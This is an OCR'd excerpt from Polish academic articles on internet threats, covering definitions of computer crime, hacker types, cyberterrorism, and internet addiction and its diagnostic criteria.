i spotecznie niepozadanych, czy nawet nielegalnych. Problemem jest réwniez
anonimowos$¢ w Internecie, a takze ,,narkotyzujacy” wplyw na niektorych uzyt-
kownikow i korzystajacych z Internetu.

Swiat opanowala ,,fejsbukomania”

Facebook — serwis spotecznosciowy, w ramach ktorego zarejestrowani
uzytkownicy mogg tworzy¢ sieci 1 grupy, dzieli¢ si¢ wiadomosciami i zdjeciami
oraz korzysta¢ z aplikacji, bedacych wiasnoscia Facebook, Inc. z siedziba
w Menlo Park. W pazdzierniku 2012 roku liczba uzytkownikow na catym §wie-
cie wynosita ponad 1 miliard, a co miesiagc wgrywany jest ponad 1 mld zdje¢
oraz 10 mln filmow, ktorych obecnie jest 265 miliardow. Sredni wiek uzytkow-
nika serwisu to 22 lata. Dane zgromadzone na Facebooku to ponad 180 petabaj-
tow, co 24 godziny przybywa ponad 0,5 petabajta®.

Od gospodarki opartej na wiedzy
do gospodarki opartej na aplikacjach

W ciagu ostatnich dwudziestu lat w naszym kraju komputer z urzadzenia
dostepnego nielicznemu gronu wtajemniczonych stal si¢ narzedziem dostep-
nym dla wszystkich, w tym nawet dla dzieci, ktére dopiero rozpoczynaja edu-
kacje.

% M. Barabach, Zagrozenia w sieci, http://www.junior.dialog.pl/zagrozenia_w_sieci.php (20
stycznia 2008).
3 http:/www.theregister.co.uk/2012/11/09/facebook_open_sources_corona
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Przestepczo$¢ komputerowa

Cracker (z ang. dostownie famacz) — osoba zajmujgca si¢ tamaniem zabezpie-
czen komputerowych. Wyro6znia si¢ dwie glowne kategorie dziatan crackerow: tama-
nie zabezpieczen zamknigtego oprogramowania i famanie zabezpieczen serwerow.

Carding — rodzaj przestepczosci komputerowej polegajacy na nieuprawnio-
nym zdobywaniu, gromadzeniu, sprzedawaniu, wykorzystywaniu kart platni-
czych lub ich numerdw.

Phreaking — polega na przetamywaniu zabezpieczen w celu bezptatnego
dotarcia i korzystania z sieci telefonicznych i BBS-6w. Wywodzi si¢ on z tzw.
tech-hackingu, czyli dziatalno$ci polegajacej na dokonywaniu drobnych przerd-
bek w réznych urzadzeniach, np. komputerach, uktadach sterowania winda, czy
dystrybutorach napojow.

Bankring — polega na odnajdywaniu, przetamywaniu prawno-technicznych
zabezpieczen zwigzanych z funkcjonowaniem bankow tak w $wiecie realnym,
jak 1 sieci Internet oraz na wykorzystywaniu sprzecznosci w regulaminach ban-
kéw, w celu osiagniecia korzysci osobistej lub majatkowe;.

Phishing (spoofing) — w branzy komputerowej, oszukancze pozyskanie po-
ufnej informacji osobistej, jak hasta czy szczegoty karty kredytowej, przez uda-
wanie osoby godnej zaufania, ktérej te informacje sa pilnie potrzebne. Jest to
rodzaj ataku opartego na inzynierii spoteczne;j.

Ze wzgledu na stosowana etyke wyrdznia si¢ nastepujacy podziat hakerow
zabezpieczen:

e black hat (,,czarne kapelusze”) — sa to hakerzy dziatajacy na granicy lub
poza granicami prawa. Znalezionych bledéw albo nie publikujg w ogoble, wy-
korzystujac je w nielegalny sposob, albo publikuja od razu w postaci goto-
wych programow (tzw. exploitow), ktore mogg zosta¢ uzyte przez osoby
0 nizszych umiejetnosciach. Niektdre osoby kwestionuja w tym przypadku
uzycie stowa ,,haker”, zastepujac je wyrazem ,,cracker”.

e white hat (,,biate kapelusze”) — hakerzy dziatajacy zupetnie legalnie lub tez
starajacy si¢ nie popetia¢ szkod. Odkryte przez siebie dziury w bezpieczen-
stwie zwykle podaja w formie, w ktorej moga zostac tatwo zatatane przez au-
tor6w oprogramowania, lecz trudne do wykorzystania w celu zaszkodzenia
komus. Wsrdd nich czesto si¢ spotyka audytoréw bezpieczenstwa.

e grey hat (,,szare kapelusze”) — hakerzy/crackerzy, ktorzy przyjmujg po cze-
$ci metody dziatania obu wyzej wymienionych grup.

o Plagiaty — kradziez wtasnosci intelektualnej.

Cyberterroryzm

Cyberteroryzm to przemyslana dziatalno$¢ grup lub innych wrogich sit wy-
mierzona przeciwko informacjom, systemom komputerowym, programom
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i danym, ktéra powoduje straty cywilne. Inna z definicji okresla cyberterroryzm
jako dziatania blokujace, niszczace lub znieksztalcajace w stosunku do informa-
cji przetwarzanej, przechowywanej i przekazywanej w systemach teleinforma-
tycznych, takze niszczace te systemy.

Cyberterroryzm stat si¢ elementem skladowym terroryzmu mi¢dzynarodo-
wego. Nie trzeba wysyta¢ wojsk, aby skutecznie sparalizowa¢ miasto, a nawet
cate panstwo. Cyberterroryzm wkrétce bedzie stanowitl powazniejsze zagrozenie
dla funkcjonowania poszczeg6élnych krajow, niz jakakolwiek inna forma agres;ji,
do potowy lat 90., proceder tamania kodow dostepu stat si¢ juz zjawiskiem prze-
stepczym. Nastapil znaczacy wzrost zagrozenia narodowego i migdzynarodowego.

Zakonczenie

W dzisiejszym $wiecie zagrozen i ryzyka wzrasta coraz bardziej znaczenie
odpowiedzialno$ci. Odpowiedzialno$¢ w dzisiejszej zinformatyzowanej kulturze:
e staje si¢ uzalezniona od wiedzy, informacji i od techniki, a nie tylko od wraz-

liwosci dziatajacych podmiotéw;

e opiera¢ si¢ musi na zaufaniu nie tylko do przekazywanej i odbieranej infor-
macji, lecz takze do $rodkow jej przenoszenia i przetwarzania; zaufanie do
komputera jako no$nika informacji i srodka jej przetwarzania jest podstawa
decyzji wspomaganych komputerowo;

o decentralizacja wigzi i globalizacja zalezno$ci charakterystycznych dla spote-
czenstwa informacyjnego przejawia si¢ miedzy innymi w tym, iz wiezi te
przybieraja charakter sieciowy; w zalezno$ciach typu sieciowego nastepstwa
dziatan nie sg prostym wynikiem zaleznos$ci przyczynowo-skutkowych; po-
jawia sie tutaj wiele nastepstw nieintencjonalnych i stad tez brak tu jedno-
znacznej relacji pomigdzy podmiotem dziatania i podmiotem odpowiedzial-
nosci™.

Nalezy upowszechnia¢ informacje o programach prezentujacych metody
przezwyciezania uzaleznien internetowych. Przyktadowe programy chronigce
dziecko w Internecie:

o Cenzor www.cenzor.pl

Opiekun http://www.opiekun.pl/

Beniamin www.beniamin.pl

Motyl http://adalex.pl/motyl/

Opiekun ucznia w Internecie http://www.opiekunucznia.pl/

% G. Kiedrowicz, Zagrozenia dla edukacji wspomaganej technologiq informacyjng, http:/iga-
zeta-it.pl/pl/edukacja/5065
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Streszczenie

Szerokie upowszechnienie technologii informacyjnych owocuje korzystnymi zmianami we
wszystkich dziedzinach aktywnosci ludzi. Jednoczesnie stanowi zrddlo rozmaitych zagrozen.
W niniejszym opracowaniu skoncentrowano si¢ tylko na katalogu uzaleznien od technologii in-
formacyjnych i Internetu

Summary

The wide dissemination of information technology results in favorable changes us in all areas
of human activity. At the same time a source of various for-grozen. In this paper | will focus only
on the catalog dependence of information technology and the Internet

Wstep

Wszechobecnos¢ technologii informacyjnych jest cecha wspolczesnosci.
Mozemy powiedzie¢, ze nie ma takiej formy aktywnos$ci, w tym jakiegokolwiek
rodzaju pracy cztowieka, w ktorej nie wykorzystywatby on technologii informa-
cyjnych. Ich obecno$¢ w srodowisku zycia i pracy cztowieka ma jednak nie tyl-
ko strony pozytywne. Kazda zmiana struktury tego srodowiska stawia czlowieka
w nowej, trudnej badz niepewnej sytuacji. Wymusza okreslone formy postepo-
wan. Czesto sg to formy postgpowan catkowicie odmiennych od dotychczas
spotykanych. Swiadomos¢ tych zmian zalezy juz od wrazliwoéci poznawczej
i aksjologicznej cztowieka. Poniewaz uzytkownikami technologii informacyj-
nych sg ludzie o bardzo zréznicowanych wiasciwosciach, stad rozmaitos¢ po-
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staw i postepowan obserwowanych w takich sytuacjach. Dla jednych technolo-
gie informacyjne sg wspaniatym i mozliwym do racjonalnego i godziwego wy-
korzystania narzedziami ulatwiajacymi przebieg aktywnosci (w zyciu, pracy,
uczeniu si¢, uczestnictwie w kulturze, odpoczynku). Dla drugich beda przedmio-
tem uzaleznien.

Problematyka uzaleznien ludzi od technologii informacyjnych, w tym od In-
ternetu, ktory jest kumulacja rozmaitych technologii, stanowi obecnie interesujacy
teren badan. Zagadnienia te nie sa oboj¢tne dla dydaktyki informatyki. Ich rozpo-
znanie, zrozumienie zrodet i prawidtowosci ich przebiegu moze umozliwi¢ nau-
czycielom optymalne programowanie ich dziatalnosci pedagogicznej. Wszak
w grupie konstytutywnych funkcji wychowania istotne miejsce zajmuje diagno-
styka pedagogiczna i przezwycig¢zenie trudno$ci wychowankoéw, w tym zapobie-
ganie patologiom pojawiajacym si¢ w procesach rozwoju czlowieka.

1. Uzaleznienie od technologii informacyjnych. Eksplikacja pojecia

Stowo ,,uzaleznienie” uzyskuje w ostatnich latach coraz wieksza popular-
no$¢. Mozna popas¢, jak powszechnie wiadomo, w uzaleznienie od niemal
wszystkiego, w tym od alkoholu, nikotyny, narkotykoéw, lekow, a takze od pra-
cy. Ostatnio coraz cze$ciej mowi i pisze si¢ o uzaleznieniach od komputera,
telefonu komorkowego i Internetu. W tym opracowaniu interesuje nas zagadnie-
nie uzaleznienia od technologii informacyjnych.

Uzaleznienie jest stanem pojawiajacym si¢ jako nastgpstwo przyswajania
substancji (np. alkohol, nikotyna, kokaina) lub podejmowania czynnosci (ha-
zard, kupowanie, jedzenie, ogladanie telewizji czy wideo, korzystanie z Interne-
tu, a nawet seksu). Wszystkie te zachowania poczatkowo sprawiajg przyjem-
nos$¢, lecz z czasem stajg si¢ przymusowe i maja negatywny wplyw na codzienne
zycie i obowiazki, takie jak praca, zwiazek, czy nawet zdrowie™.

Osoba uzalezniona moze — szczeg6lnie w poczatkowej fazie rozwoju zabu-
rzenia — nie zdawa¢ sobie sprawy z utraty kontroli nad swoim zachowaniem
i problemow, ktore sprawia zarowno sobie, jak i najblizszym. Coraz liczniejsze
badania i obserwacje kliniczne dowodza, ze wiele 0s6b — o czym juz wspomnia-
no — jest patologicznie zaleznych od pewnych zachowan (czynnosci). Sa to za-
burzenia osobowego zycia czlowieka czgsto jeszcze nieujgte w treSciach pod-
recznikow diagnostycznych. Przyczyn takiego stanu jest kilka:

! Méwiac o zachowaniach wskaznikowych dla uzaleznienia akcentujemy przede wszystkim
behawioralny aspekt zjawiska. Nas interesowa¢ powinna jednak sfera zjawisk psychicznych
i duchowych. W nich ujawnia si¢ $§wiadomo$¢ aksjologiczna podejmowanych form aktywnosci.
Stad postugiwac si¢ powinniSmy pojeciem postepowan osoby uzaleznionej.
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e o pierwsze, nie przez wszystkich badaczy zjawiska te okreslane sg jako uza-
leznienia;

e po drugie, uzaleznienia od wszechobecnych technologii informacyjnych
i internetowych sg mato rozpoznane w badaniach naukowych;

e po trzecie, pedagogika wspodtczesna, jak dotychczas, zagubita lub zaniedbata
te obszary badan’;

e po czwarte, problematyka ta ma charakter interdyscyplinarny, a moze raczej
multidyscyplinarny. Jest wiec dosy¢ trudna w jako$ciowych badaniach nau-
kowych, w ktorych brakuje jednoznacznego stanowiska co do pytan pierw-
szych nauk pedagogicznych. Sa nimi pytania o cztowieka. Jezeli bowiem
uznamy, iz jest on osobga, to oznacza konieczno$¢ podejmowania badan jako-
$ciowych i obejmowania nimi systemowo wszystkich komponentéw osoby
wyodrebnionych w integralnym modelu cztowieka®.

W zwigzku z bardzo szybkim rozwojem technologii informacyjnych — dzi$
zauwaza si¢ wszechobecno$¢ nowych rodzajow uzaleznien — co uwidacznia si¢
na przyktadach technologii telefonii komorkowych i Internetu coraz powszech-
niej mowi si¢ o uzaleznieniach od tych technologii. Nie czas w tym miejscu na
peing analize terminologiczng.

Uogolniajac interesujgce nas okreslenia, sensownie jest mowic¢ o uzaleznie-
niach od technologii informacyjnych. W tym pojeciu zawieraja si¢ takze wszyst-
kie technologie internetowe. To ostatnie nazywane jest czasem ,,siecioholi-
zmem”. Jak ujmuje to Wikipedia, spotyka si¢ rézne okreslenia na ten rodzaj
zaburzen, np. patologiczne uzywanie Internetu, naduzywanie Internetu, kompul-
sywne uzywanie Internetu. W pracach amerykanskich, ktére sg praktycznie jedy-
nymi publikacjami na ten temat, uzywane sg nastepujgce terminy: internet ad-
diction disorder, internet addiction syndrome, internet abuse, ktore mozna ttu-
maczy¢ jako uzaleznienie od Internetu oraz compulsive internet use, pathologi-
cal internet use, ktére unikajg terminu uzaleznienie. Wedtug przyjetych kryte-
riow diagnostycznych bardziej prawidtowe byloby okreslenie ,,patologiczne
uzywanie internetu” (Pathological Computer/Internet Use Disorder)*.

Jak pisze R. Poprawa: ,,W zwiazku z brakiem jednoznacznych i oficjalnie
uznanych kryteridow diagnostycznych [raczej metazalozen — przyp. W.F.] oraz
jednolitej definicji w literaturze wystepuja rézne, wymienne uzywane, okresle-
nia na ten problem, np. siecioholizm (netaholics) lub sieciozalezno$¢ (netaddic-
tion), cyberzaleznos¢ (cyberaddiction) lub cybernatég, internetoholizm, inter-

2 W. Furmanek, Zagubione i zaniedbane obszary pedagogiki [w:] Mozliwosci i strategie
zwigkszania szans edukacyjnych dzieci i mlodziezy — konteksty edukacyjne i spoleczne, red. K. Bartdg,
E. Kensy i M. Rorat, Rzeszow 2012, s5.13-55.

® W. Furmanek, Model czlowieka paradygmatem nauk pedagogicznych, ,Edukacja —
Technika — Informatyka”, Rocznik Naukowy nr 3, 2012, s. 25-42.

* http://pl.wikipedia.org/wiki/Zesp%C3%B3%C5%82_uzale%C5%BCnienia_od_internetu
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netozaleznos$¢, uzaleznienie internetowe lub uzaleznienie od Internetu (Internet
addiction), uzaleznienie komputerowe (computer addiction), zaburzenia spowo-
dowane zalezno$cig od Internetu (Internet Addiction Disorder — 1AD), infoho-
lizm, infozalezno$¢ (information addiction), patologiczne uzytkowanie Interne-
tu, zespot uzaleznienia od Internetu®.

Wyréznione przez pogrubienie przedrostki (net — sie¢, info — informacje)
wskazujg wyrazi$cie zrodta omawianych zjawisk.

Uzaleznienie od internetu lub inaczej zespol uzaleznienia od Internetu
(ZUl, siecioholizm, ang. Internet Addiction Disorder — IAD) — staje si¢ zjawi-
skiem spolecznym, i chociaz do tej pory nie zostato jeszcze sklasyfikowane jako
jednostka chorobowa, juz budzi niepokdj i wptywa na poczucie bezpieczenstwa
zycia spotecznego®.

Omawiane pojecie mozna zdefiniowac jako zaburzenie kontroli impulsow,
bez zatrué¢, czy innych skutkow chorobowych (intoksykacji). Pojawia si¢ ono
wowczas, gdy ludzie naduzywaja technologii internetowych i fakt ten przyspa-
rza cierpien im oraz ich otoczeniu, znaczaco wptywajac na ich funkcjonowanie
fizyczne, psychiczne, spoteczne i ekonomiczne. Powstajace zaburzenia prowa-
dzg do coraz wigkszych szkod prawie we wszystkich obszarach ludzkiej egzysten-
Cji. Przede wszystkim naruszaja lub niszcza dobrostan psychiczny i szanse na
satysfakcjonujgce i dobre Zycie, niszcza mozliwo$¢ rozwijania dobrych, natu-
ralnych relacji spolecznych, prowadza do powaznych zaburzen w relacjach
rodzinnych, niszczac istniejagce wiezi. W koncu moga zaburzy¢ mozliwos¢ efek-
tywnego wykonywania pracy, co czgsto pociaga za sobg jej utrate.

G.A. Marlatt proponuje, aby stosowane przez autorke tzw. uzaleznienie beha-
wioralne (lub zachowanie natogowe — addictive behavior) definiowa¢ jako ,,powta-
rzajacy sie nawyk, ktory zwieksza ryzyko choroby i/lub zwigzanych z nig proble-
mow osobistych oraz spotecznych. Zachowania natogowe sg czesto subiektywnie
odczuwane jako utrata kontroli — pojawiajg si¢ pomimo $wiadomych wysitkow
zmierzajacych do ich powstrzymania lub ograniczenia. Typowa jest natychmiastowa
krétkotrwala nagroda oraz pozniejsze szkodliwe i dlugotrwate nastepstwa. Probom
zmiany tych zachowan towarzyszy zazwyczaj wysoki wspolczynnik nawrotow’”.

Mowiac o uzaleznieniach w dotychczasowych analizach wyr6znia si¢ dwa
ich aspekty. Dotycza one sfery cielesnosci i sfery zycia psychicznego czlowie-
ka. Konsekwentnie pomija si¢ uzaleznienia sfery duchowosci (addiction spiri-
tual). Bez watpienia takie ujecie problemu jest formg redukcjonizmu metodolo-
gicznego.

% R. Poprawa, W pulapce Internetu, http://www.badania.psychologia.uni.wroc.pl/?type=artykul

® Tamze.

" G.A. Marlatt, J.R. Gordon, Relapse Prevention: Maintenance Strategies in the Treatment of
Addictive Behavior, Guilford Press, New York 1985.
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Uzaleznienie fizyczne, somatyczne (addiction somatic, addiction health) —
uwaza si¢ za gtdbwng ceche uzaleznien od srodkéw psychoaktywnych. Obejmuje
ono fizjologiczng adaptacje do zazywanej substancji psychoaktywnej i zaburze-
nia psychofizyczne pojawiajgce si¢ w momencie zaprzestania lub ograniczenia
jej zazywania. Uzaleznienia behawioralne naruszaja zdrowie somatyczne, nara-
zajac danego czlowicka na wiele dysfunkcji czy chordb. Najistotniejsze jest to,
ze osoby owladnigte behawioralnym nalogiem maja powazne trudno$ci z po-
wstrzymaniem si¢ od wykonywania danej czynnos$ci, nawet mimo wyraznych
szkod, jakie ono im przynosi. Czgsto wyrwanie si¢ ze szponow wilasnych beha-
wioralnych przymuséw wymaga pomocy innych ludzi i specjalistow.

W uzaleznieniach fizycznych stwierdzono zmieniajaca si¢ wraz z czasem
trwania natogu tolerancje organizmu na zazywang substancje, ktorej poczatkowa
dawka wywolujaca eufori¢ z czasem przestaje by¢ wystarczajaca i konieczne
staje si¢ jej zwickszanie, aby uzyska¢ oczekiwane, pozadane odurzajace efekty.
Ponadto w momencie odstawiania danej substancji (tj. zaprzestania lub ograni-
czenia jej zazywania), czgsto nastepujacym po wielodniowym ciggu odurzania
si¢, pojawiaja si¢ ostre, przykre objawy psychofizjologiczne (tzw. zespot absty-
nencyjny).

Uzaleznienia fizyczne to zagrozenia dotyczace cielesnoSci czlowieka.
Obejmuja one trudnosci z fizjologiczng adaptacjg cztowieka do zjawisk szko-
dliwych (Internet). Wyrazane sg i ujawniajg si¢ w réznego rodzaju zaburzeniach
sprawnosci poruszania si¢, dolegliwo$ciach krggostupa, chorobami oczu. Ciato
ludzkie wyraza to, co jest tajemnica cztowieka, a nie tajemnica ciata. Uzaleznie-
nia fizyczne wynikaja z zaburzen w sferze ekologii ciata czlowieka. Nasze za-
chowania cielesne wyrazajg to, kim jesteSmy, jakie wyznajemy warto$ci, w jaki
sposob rozumiemy sens zycia i kim chcemy by¢ dla innych ludzi®. Troska
0 zdrowie to odpowiedzialne odzywianie si¢, dostosowanie aktywnos$ci i trybu
pracy z wykorzystaniem technologii informacyjnych do pici i wieku danej oso-
by. To wlasciwy tryb zycia, ktory zapewnia rownowage wysitku, odpoczynku
i snu. To troska o ekologie ciala — 0 to, by nie tylko powietrze, ziemia i woda
byly czyste, lecz takze, by nasze najwazniejsze srodowisko naturalne, czyli na-
sza cielesno$é nie byta zatruta fizycznie, chemicznie czy psychicznie®. To troska
0 dostosowane do potrzeb cielesnosci cztowieka — w tym jego zmystow — calej
wykorzystywanej infrastruktury informatycznej.

Uzaleznienie psychiczne (physical dependence, psychological dependence)
— nie jest jedynie zarezerwowane do uzaleznienia od substancji, ale stanowi

8 M. Dziewiecki, Formacja sfery cielesnej [w:] http://www.opoka.org.pl/biblioteka/I/ID/md
_0310_cielesna.html
® Tamze.
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rowniez zasadniczy aspekt uzaleznien behawioralnych. Wystepuje ono tam
gdzie cztowiek pod wptywem danego bodzca (substancji lub czynnosci) wyzwa-
la pewne wazne dla niego reakcje poznawcze i emocjonalne. Dziatania cztowie-
ka charakteryzuja powazne trudno$ci kontrolowania czasu, ilosci i miejsca,
w jakich cztowiek podejmuje czynnosci (Sleczenie przy ekranie komputera) oraz
nieprzepartym pragnieniem ponownego kontaktu z bodzcem uzalezniajgcym
(gtodem substancji, nieodpartym przymusem oddania si¢ czynnosci wiaczenia
komputera). ,,Jesli za$ jest to niemozliwe, uzalezniony moze popas¢ w stan dys-
forii, wzmozonej drazliwosci, silnego niepokoju, apatii czy wrecz depresji™™.
Osoba uzalezniona poszukuje takich do§wiadczen (w zazywaniu substancji lub
okreslonych czynnosciach), ktore zaspokajatyby jej potrzeby, jakich nie moze,
nie potrafi zaspokoi¢ w inny sposob. Zachowanie natogowe stato si¢ dla niej
waznym sposobem regulowania zycia emocjonalnego, radzenia sobie z trudnymi
sytuacjami, osobami, emocjami, z ktorymi inaczej nie udaje si¢ jej poradzi¢™.

Poniewaz siecioholicy nie stanowig jednolitej spotecznosci, a Internet — jak
si¢ wydaje — pozostaje pozornie tatwym narzgdziem zaspokajania potrzeb, ofe-
rujacym mnostwo opcji do wyboru, tudzacym mozliwo$cig znalezienia tego,
czego szukato si¢ (i nie znalazlo si¢) w rzeczywistosci. Niestety, przewaznie sa
to puste opcje.

Omawiany problem jest znacznie szerszy. Obejmuje rowniez takie czynno-
$ci ludzi, ktore absorbuja ich do tego stopnia, ze tracg oni nad nimi petna kontro-
lg. Chociaz poczatkowo przynosza im one pewne istotne korzysci, z czasem
prowadza do coraz wigkszych szkod prawie we wszystkich obszarach ludzkiej
egzystencji. Wyrazaja si¢ w przebudowie systemu wartosci osobowych, przede
wszystkim ich hierarchii. Wptywaja na ksztaltowanie nowego stylu zycia urza-
dzonego, konsumpcyjnego. A to ujawnia si¢ w przebudowie systemu postaw
wobec samego siebie i innych ludzi. Najszerzej mozna stwierdzi¢, iz przede
wszystkim naruszajg lub niszcza dobrostan psychiczny i szans¢ na pozytywna
zmiane jako$ci swojego zycia, na satysfakcjonujace i dobre zycie, niszcza moz-
liwos¢ rozwijania dobrych, naturalnych relacji spolecznych, prowadza do po-
waznych zaburzen w relacjach rodzinnych, niszczac istniejgce wigzi. W koncu
moga zaburzy¢ mozliwos¢ efektywnego wykonywania pracy, co czgsto pociaga
za soba jej utrate.

Uzaleznianie si¢ od komputera ma niezbyt dtuga histori¢. Tak naprawdg za-
czeto si¢ w latach 90. XX w., bowiem to wowczas wystapita moda na korzysta-
nie z upowszechnianego w tym czasie Internetu. Zjawisko uzewnetrznito sig¢

VR, Poprawa, W putapce Internetu...
Y Tamze.
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gléwnie w formie réznego rodzaju zaburzen w zdrowiu cztowieka. Po jakims
czasie stwierdzono korelacje migdzy owymi objawami chorobowymi a czasem
korzystania z technologii informacyjnych, w tym z Internetu. Zjawisko — analo-
gicznie do innych — nazwano uzaleznieniem si¢ od Internetu. Zdefiniowano
takze wtedy tzw. zespol uzaleznienia od Internetu — ang. Internet Addiction
Disorder (IAD) jako syndrom uzaleznienia si¢ uzytkownika Internetu od wielo-
godzinnego korzystania z technologii w tym $rodowisku®?. Wyniki badan po-
twierdzily hipoteze, iz naduzywanie Internetu (technologii internetowych) ma
znaczacy wpltyw na funkcjonowanie w sferze fizycznej (w sferze cielesno$ci
cztowieka), w funkcjonowaniu jego sfery psychicznej oraz duchowe;j.

W pracach dotyczacych uzaleznien od technologii internetowych opisano
zjawiska funkcjonowania czlowieka w relacjach interpersonalnych, spolecz-
nych, rodzinnych i ekonomicznych. Omawiane zjawiska sa w miar¢ nowymi
zjawiskami, gdyz sama sie¢ jest osiagnigciem cywilizacji ostatnich lat, w po-
rownaniu do innych zjawisk czy substancji uzalezniajacych. Wspotczesnie
przyjmuje si¢, ze drog prowadzacych do uzaleznienia jest wiele, a wszystkie
mozliwe przyczyny wspotoddziatuja w ztozonych psychospoteczno-biololo-
gicznych mechanizmach zycia cztowieka. Prognozuje si¢ jednak, ze ten rodzaj uza-
leznienia stanie si¢ prawdopodobnie jedna z plag XXI wieku®®. Jest to tym bardziej
wazne, bo bardzo dynamicznie rosnie liczba 0sob korzystajacych z technologii in-
ternetowych. Lawinowo ro$nie liczba uzytkownikow technologii internetowych,
zmienia si¢ struktura calej antroposfery zycia czlowieka. A przeciez §wiadomi jeste-
$my tego, ze ich rozwoj 1 upowszechnienie beda dalej nastepowac™.

Nie mozemy pomija¢ faktu, ze wlasciwa czlowiekowi samo$wiadomosé
konstytuuje jego centrum bytowe, jakim jest jego podmiotowe ,ja”. Szeroko
pojmowana sfera podmiotowego ja ,jest to pewna dziedzina faktow danych
w doswiadczeniu fenomenologicznym: w do$wiadczeniu tym uwydatnia si¢
zarowno ich odrebno$¢ w stosunku do somatyki, jak tez swoiste z nig zintegro-
wanie, scalenie w czlowieku”™. Integralno$¢, scalenie bytu ludzkiego to nie
tylko obecno$¢ w nim wszystkich komponentow w sferze somatyki i psychiki
oraz duchowosci cztowieka, ale takze system wzajemnych uwarunkowan, ktore
umozliwiajg wlasciwe cztowiekowi funkcje jednej i drugiej. Tak wiec analizujac
problematyke uzaleznien i ich konsekwencji nalezy odnosi¢ ja do czlowieka

12 Okreslenie zjawiska postulowane przez niektérych psychiatrow.

3. Gajda, Uzaleznienie od Internetu w $wietle dotychczasowych badan, http:/lww.psy-
chologia.net.pl/artykul.php?level=561

%W, Furmanek, Antropoinfosfera wspélczesnego czlowieka, ,Dydaktyka informatyki. ,,In-
formatyka wspomagajaca catozyciowe uczenie si¢” nr 8 (2013), s. 49-74,

1® K. Wojtyta, Osoba i czyn oraz inne studia antropologiczne, red. T. Styczen, W. Chudy,
Lublin 2000, s. 241.
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W ujeciu systemowym. O ile dotychczasowe badania dotyczyly przede wszyst-
kim sfery somatyki i psychiki, o tyle zbyt nieliczne sg wyniki badan uzaleznienia
w sferze duchowosci cztowieka. A wypada zauwazyc¢, iz cztowiek jako §wiado-
my byt podejmuje okreslone czynnosci w dgzeniu do uswiadamianych celow. To
cele powinny (i takie funkcje spetniajg) regulowaé¢ aktywnos¢ czlowieka, przy-
jete dazenia, aspiracje oraz strukture¢ dziatan. Powinny nadawa¢ sens podejmo-
wanym zachowaniom. W takiej sytuacji mowimy o postgpowaniach cztowieka.
Nadanie sensu zachowaniom wigze si¢ z tym, jak czlowiek rozumie dang sytua-
cj¢, na ile dobrowolnie chce dane dziatania realizowac. Takie widzenie omawia-
nych zjawisk ukazuje kierunek i potrzebe dalszych penetracji naukowych oma-
wianego problemu.

B. Woronowicz na uzaleznienie od Internetu stusznie proponuje uzywaé
okreslenia ,,siecioholizm”. | podobnie jak to ma miejsce w innych tego rodzaju
uzaleznieniach warto podkresli¢ czton pojeciowy holizm. Ukierunkowuje on
nasza refleksje na potrzebe dostrzegania wszystkich wymiaréw zjawiska, w tym
wszystkich wymiaréw osoby uzalezniane;j.

B. Woronowicz przedstawia takze dwie propozycje kryteriow diagno-
stycznych, ktére obejmujg nieprawidtowe sposoby korzystania z Sieci, prowa-
dzace do istotnego zaklocenia czynno$ci psychicznych i zaburzenia struktur
osoby, przejawiajacych si¢ w okresie minionych 12 miesiecy co najmniej trzema
Sposrod nastgpujacych objawow:

1. Tolerancja rozumiana jako:

a) potrzeba coraz dtuzszego czasowego korzystania z Internetu celem uzy-
skania zadowolenia i/ lub

b) wyrazny, stopniowy spadek satysfakcji osigganej przez t¢ samg ilo$¢ czasu
przebywania w sieci.

2. Objawy odstawienia manifestujace sig:

a) zespolem czynnikow w formie co najmniej dwoch nastepujacych obja-
wow, wystepujacych w okresie od kilku dni do jednego miesiaca, po zaprzesta-
niu lub ograniczeniu korzystania z Internetu:

e pobudzenie psychoruchowe,
niepokoj lub Iek,
wyrazne obnizenie nastroju,
obsesyjne myslenie o tym co sie dzieje w Sieci,
fantazje i marzenia senne na temat Internetu,
celowe lub mimowolne poruszanie palcami w sposob charakterystyczny
jak na klawiaturze;

b) korzystanie z technologii sieci celem uniknigcia przykrych objawow abs-
tynencyjnych po ,,odstawieniu” Internetu.

3. Czestsze przekraczanie planowanego wczesniej czasu korzystania z In-
ternetu.
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4. Utrwalona potrzeba lub nieudane proby ograniczania lub zaprzestania ko-
rzystania z Internetu.

5. Poswiecanie duzej ilosci czasu na wykonywanie czynnos$ci zwigzanych
z Internetem, np. kupowanie ksigzek na temat Sieci, testowanie nowych przegla-
darek stron WWW, porzadkowanie $ciggni¢tych z Internetu materiatow, plikow,
programow itp.

6. Zmniejszanie lub rezygnowanie z aktywnosci spotecznej, zawodowej lub
rekreacyjnej na rzecz Internetu.

7. Korzystanie z Internetu pomimo $wiadomosci do$wiadczania trwatych
badz narastajacych probleméw somatycznych (fizycznych), psychologicznych
lub spotecznych, spowodowanych lub nasilajacych si¢ w zwigzku z korzysta-
niem z sieci (np. ograniczenie czasu snu, wystepowanie problemow rodzinnych,
spdznianie si¢ do pracy i na spotkania, zaniedbywanie obowiazkdéw, rezygnacja
z innych istotnych dziatan)®°.

2. Proces i objawy uzaleznienia

Proces powstawania uzaleznienia od Internetu przebiega zwykle w kilku fa-
zach. Ich uktad jest nieco odmienny u roéznych autoréw. Zatrzymajmy si¢ na
jednej z koncepcji obecnej w polskim pisSmiennictwie naukowym. Najpierw
Internet wywoluje zainteresowanie i sprawia przyjemnos¢ (faza poznawania
i racjonalnego oraz efektywnego wykorzystywania Internetu). Stopniowo
osoba coraz wiecej czasu poswigca na korzystanie z Internetu. Traci inne zainte-
resowania. Gdy nie jest zalogowana do Internetu zaczyna o nim natretnie myslec¢
(faza uzaleznienia). Po niej nast¢puje faza destrukcji osobowej i jej relacji
interpersonalnych®’.

Dalej nastepuje ograniczanie lub zaprzestanie realizowania innych, istot-
nych form dziatania. Internauta zaniedbuje lub catkowicie rezygnuje z wielu
waznych czynnos$ci rodzinnych, spotecznych, zawodowych i rekreacyjnych, na
rzecz codziennego, wielogodzinnego i niejednokrotnie nieprzerwanego korzy-
stania z Internetu, mimo iz zdaje on sobie sprawe z narastania u niego trudnosci
zyciowych, problemow psychicznych oraz fizycznych. Dotyczy¢ to moze ogra-

16 B, Woronowicz, Bez tajemnic o uzaleznieniach i ich leczeniu. Wyd. Instytut Psychiatrii
i Neurologii, Warszawa 2001, s. 191.

Y A. Augustynek, Uzaleznienia komputerowe. Diagnoza, rozpowszechnienie, terapia. \Wyd.
Difin 2010; A. Augustynek, Psychologiczne aspekty korzystania z Internetu [w:] Formowanie
sig spolecznosci informacyjnej, red. L. Haber, Tekst-Graf, Krakow 2003; B. Kozusznik (red.),
Zarzgdzanie i technologie informacyjne t. 1, Komunikacja w dobie Internetu, Wydawnictwo
